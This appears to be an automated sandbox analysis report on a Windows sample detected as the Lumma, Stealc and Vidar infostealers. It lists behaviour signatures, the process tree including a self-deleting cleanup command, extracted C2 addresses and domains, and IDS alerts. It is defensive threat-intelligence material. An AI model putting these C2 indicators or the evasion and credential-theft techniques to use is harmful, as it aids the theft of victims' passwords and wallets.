Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523816
MD5:	dfd320ab72a577bcadcfd172f92d17b2
SHA1:	93050cf3a0756713427d95fd588a471ad2b5c1df
SHA256:	942b0ba35652330e8701f18d7208e4ae9773d71d7e464375f0366c576e8d196b
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6284 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DFD320AB72A577BCADCFD172F92D17B2)

conhost.exe (PID: 6340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4248 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

GDBFCGIIIJ.exe (PID: 332 cmdline: "C:\ProgramData\GDBFCGIIIJ.exe" MD5: C7E7CFC3ED17AEF6C67C265389593EE3)

conhost.exe (PID: 5672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4484 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

KJEGDBKFIJ.exe (PID: 6504 cmdline: "C:\ProgramData\KJEGDBKFIJ.exe" MD5: 237AF39F8B579AAD0205F6174BB96239)

conhost.exe (PID: 2212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6628 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

IIJKJDAFHJ.exe (PID: 7152 cmdline: "C:\ProgramData\IIJKJDAFHJ.exe" MD5: 022CC85ED0F56A3F3E8AEC4AE3B80A71)

conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6724 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 888 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAAAAKJKJE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userBAAAAKJKJE.exe (PID: 4816 cmdline: "C:\Users\userBAAAAKJKJE.exe" MD5: 237AF39F8B579AAD0205F6174BB96239)

conhost.exe (PID: 5496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 1700 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 2024 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAFIDGDBGCA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userAFIDGDBGCA.exe (PID: 1076 cmdline: "C:\Users\userAFIDGDBGCA.exe" MD5: C7E7CFC3ED17AEF6C67C265389593EE3)

conhost.exe (PID: 3300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5328 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 4304 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBGIJEHIIDGC" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 180 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["questionsmw.stor", "mysterisop.site", "soldiefieop.site", "treatynreit.site", "absorptioniw.site", "snarlypagowo.site", "abnomalrkmu.site", "chorusarorp.site"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "7fb8096dba7218243f8f6f7a994751d3"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000D.00000002.2320759817.0000000003F55000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2585998316.000000000043A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000A.00000002.2293601659.000000000346E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6284	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6284	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6284	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 4248	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 4248	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 4248	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 4248	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 6628	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6628	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: IIJKJDAFHJ.exe PID: 7152	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 6724	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6724	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 6724	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6724	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: RegAsm.exe PID: 1700	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1700	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.KJEGDBKFIJ.exe.3435570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
27.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
15.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.37e5570.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.37e5570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
13.2.IIJKJDAFHJ.exe.3f55570.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
15.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
2.2.RegAsm.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.37e5570.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.37e5570.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
13.2.IIJKJDAFHJ.exe.3f55570.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
2.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 9 entries

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:19:17.355447+0200	2028765	3	Unknown Traffic	192.168.2.4	49740	49.12.197.9	443	TCP
2024-10-02T05:19:18.509281+0200	2028765	3	Unknown Traffic	192.168.2.4	49741	49.12.197.9	443	TCP
2024-10-02T05:19:19.913940+0200	2028765	3	Unknown Traffic	192.168.2.4	49742	49.12.197.9	443	TCP
2024-10-02T05:19:21.351435+0200	2028765	3	Unknown Traffic	192.168.2.4	49743	49.12.197.9	443	TCP
2024-10-02T05:19:22.711225+0200	2028765	3	Unknown Traffic	192.168.2.4	49744	49.12.197.9	443	TCP
2024-10-02T05:19:24.142443+0200	2028765	3	Unknown Traffic	192.168.2.4	49745	49.12.197.9	443	TCP
2024-10-02T05:19:25.118692+0200	2028765	3	Unknown Traffic	192.168.2.4	49746	49.12.197.9	443	TCP
2024-10-02T05:19:28.100007+0200	2028765	3	Unknown Traffic	192.168.2.4	49747	49.12.197.9	443	TCP
2024-10-02T05:19:29.896544+0200	2028765	3	Unknown Traffic	192.168.2.4	49748	49.12.197.9	443	TCP
2024-10-02T05:19:31.197703+0200	2028765	3	Unknown Traffic	192.168.2.4	49749	49.12.197.9	443	TCP
2024-10-02T05:19:32.279583+0200	2028765	3	Unknown Traffic	192.168.2.4	49750	49.12.197.9	443	TCP
2024-10-02T05:19:33.344126+0200	2028765	3	Unknown Traffic	192.168.2.4	49751	49.12.197.9	443	TCP
2024-10-02T05:19:35.059909+0200	2028765	3	Unknown Traffic	192.168.2.4	49752	49.12.197.9	443	TCP
2024-10-02T05:19:36.730838+0200	2028765	3	Unknown Traffic	192.168.2.4	49753	49.12.197.9	443	TCP
2024-10-02T05:19:38.281239+0200	2028765	3	Unknown Traffic	192.168.2.4	49754	49.12.197.9	443	TCP
2024-10-02T05:19:39.724973+0200	2028765	3	Unknown Traffic	192.168.2.4	49755	49.12.197.9	443	TCP
2024-10-02T05:19:40.975373+0200	2028765	3	Unknown Traffic	192.168.2.4	49756	49.12.197.9	443	TCP
2024-10-02T05:19:43.933543+0200	2028765	3	Unknown Traffic	192.168.2.4	49757	49.12.197.9	443	TCP
2024-10-02T05:19:45.246297+0200	2028765	3	Unknown Traffic	192.168.2.4	49758	49.12.197.9	443	TCP
2024-10-02T05:19:46.615944+0200	2028765	3	Unknown Traffic	192.168.2.4	49759	49.12.197.9	443	TCP
2024-10-02T05:19:48.090718+0200	2028765	3	Unknown Traffic	192.168.2.4	49760	49.12.197.9	443	TCP
2024-10-02T05:19:50.151507+0200	2028765	3	Unknown Traffic	192.168.2.4	49761	49.12.197.9	443	TCP
2024-10-02T05:19:52.170263+0200	2028765	3	Unknown Traffic	192.168.2.4	49763	49.12.197.9	443	TCP
2024-10-02T05:19:54.970461+0200	2028765	3	Unknown Traffic	192.168.2.4	49765	49.12.197.9	443	TCP
2024-10-02T05:19:57.512516+0200	2028765	3	Unknown Traffic	192.168.2.4	49768	49.12.197.9	443	TCP
2024-10-02T05:19:59.544635+0200	2028765	3	Unknown Traffic	192.168.2.4	49771	49.12.197.9	443	TCP
2024-10-02T05:20:01.142577+0200	2028765	3	Unknown Traffic	192.168.2.4	49773	49.12.197.9	443	TCP
2024-10-02T05:20:16.180657+0200	2028765	3	Unknown Traffic	192.168.2.4	49785	49.12.197.9	443	TCP
2024-10-02T05:20:17.457296+0200	2028765	3	Unknown Traffic	192.168.2.4	49788	49.12.197.9	443	TCP
2024-10-02T05:20:18.814037+0200	2028765	3	Unknown Traffic	192.168.2.4	49790	49.12.197.9	443	TCP
2024-10-02T05:20:20.186326+0200	2028765	3	Unknown Traffic	192.168.2.4	49793	49.12.197.9	443	TCP
2024-10-02T05:20:21.549263+0200	2028765	3	Unknown Traffic	192.168.2.4	49795	49.12.197.9	443	TCP
2024-10-02T05:20:23.000595+0200	2028765	3	Unknown Traffic	192.168.2.4	49797	49.12.197.9	443	TCP
2024-10-02T05:20:23.998304+0200	2028765	3	Unknown Traffic	192.168.2.4	49799	49.12.197.9	443	TCP
2024-10-02T05:20:27.085315+0200	2028765	3	Unknown Traffic	192.168.2.4	49800	49.12.197.9	443	TCP
2024-10-02T05:20:28.320194+0200	2028765	3	Unknown Traffic	192.168.2.4	49801	49.12.197.9	443	TCP
2024-10-02T05:20:31.600366+0200	2028765	3	Unknown Traffic	192.168.2.4	49803	49.12.197.9	443	TCP
2024-10-02T05:20:32.914973+0200	2028765	3	Unknown Traffic	192.168.2.4	49804	49.12.197.9	443	TCP
2024-10-02T05:20:34.256890+0200	2028765	3	Unknown Traffic	192.168.2.4	49805	49.12.197.9	443	TCP
2024-10-02T05:20:35.604639+0200	2028765	3	Unknown Traffic	192.168.2.4	49806	49.12.197.9	443	TCP
2024-10-02T05:20:36.973506+0200	2028765	3	Unknown Traffic	192.168.2.4	49807	49.12.197.9	443	TCP
2024-10-02T05:20:38.398217+0200	2028765	3	Unknown Traffic	192.168.2.4	49808	49.12.197.9	443	TCP
2024-10-02T05:20:39.369652+0200	2028765	3	Unknown Traffic	192.168.2.4	49809	49.12.197.9	443	TCP
2024-10-02T05:20:42.352879+0200	2028765	3	Unknown Traffic	192.168.2.4	49810	49.12.197.9	443	TCP
2024-10-02T05:20:43.397671+0200	2028765	3	Unknown Traffic	192.168.2.4	49811	49.12.197.9	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:19:56.580727+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49766	104.21.77.132	443	TCP
2024-10-02T05:19:57.662807+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49767	188.114.97.3	443	TCP
2024-10-02T05:19:58.629366+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49769	172.67.152.190	443	TCP
2024-10-02T05:19:59.558942+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49770	172.67.184.196	443	TCP
2024-10-02T05:20:00.686604+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49772	104.21.18.193	443	TCP
2024-10-02T05:20:01.666710+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49774	104.21.21.3	443	TCP
2024-10-02T05:20:02.801256+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49776	104.21.17.174	443	TCP
2024-10-02T05:20:05.046049+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49779	104.21.16.12	443	TCP
2024-10-02T05:20:15.571301+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49784	104.21.77.132	443	TCP
2024-10-02T05:20:16.476914+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49786	188.114.97.3	443	TCP
2024-10-02T05:20:17.399810+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49787	172.67.152.190	443	TCP
2024-10-02T05:20:18.342011+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49789	172.67.184.196	443	TCP
2024-10-02T05:20:19.283075+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49791	104.21.18.193	443	TCP
2024-10-02T05:20:20.179110+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49792	104.21.21.3	443	TCP
2024-10-02T05:20:21.124607+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49794	104.21.17.174	443	TCP
2024-10-02T05:20:23.290406+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49798	104.21.16.12	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:19:56.580727+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49766	104.21.77.132	443	TCP
2024-10-02T05:19:57.662807+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49767	188.114.97.3	443	TCP
2024-10-02T05:19:58.629366+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49769	172.67.152.190	443	TCP
2024-10-02T05:19:59.558942+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49770	172.67.184.196	443	TCP
2024-10-02T05:20:00.686604+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49772	104.21.18.193	443	TCP
2024-10-02T05:20:01.666710+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49774	104.21.21.3	443	TCP
2024-10-02T05:20:02.801256+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49776	104.21.17.174	443	TCP
2024-10-02T05:20:05.046049+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49779	104.21.16.12	443	TCP
2024-10-02T05:20:15.571301+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49784	104.21.77.132	443	TCP
2024-10-02T05:20:16.476914+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49786	188.114.97.3	443	TCP
2024-10-02T05:20:17.399810+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49787	172.67.152.190	443	TCP
2024-10-02T05:20:18.342011+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49789	172.67.184.196	443	TCP
2024-10-02T05:20:19.283075+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49791	104.21.18.193	443	TCP
2024-10-02T05:20:20.179110+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49792	104.21.21.3	443	TCP
2024-10-02T05:20:21.124607+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49794	104.21.17.174	443	TCP
2024-10-02T05:20:23.290406+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49798	104.21.16.12	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:20:02.848551+0200	2054495	1	A Network Trojan was detected	192.168.2.4	49777	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:20:01.954891+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49775	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:20:01.943745+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49775	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:20:02.130021+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49775	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:20:02.847259+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49775	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:19:22.041054+0200	2044247	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.4	49743	TCP
2024-10-02T05:20:02.391292+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49775	TCP
2024-10-02T05:20:20.894283+0200	2044247	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.4	49793	TCP
2024-10-02T05:20:36.291417+0200	2044247	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.4	49806	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:19:23.408023+0200	2051831	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.4	49744	TCP
2024-10-02T05:20:22.266674+0200	2051831	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.4	49795	TCP
2024-10-02T05:20:37.668934+0200	2051831	1	Malware Command and Control Activity Detected	49.12.197.9	443	192.168.2.4	49807	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:19:20.649225+0200	2049087	1	A Network Trojan was detected	192.168.2.4	49742	49.12.197.9	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:20:01.762943+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49775	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:20:03.050228+0200	2803304	3	Unknown Traffic	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:06.527723+0200	2803304	3	Unknown Traffic	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:07.356373+0200	2803304	3	Unknown Traffic	192.168.2.4	49775	46.8.231.109	80	TCP
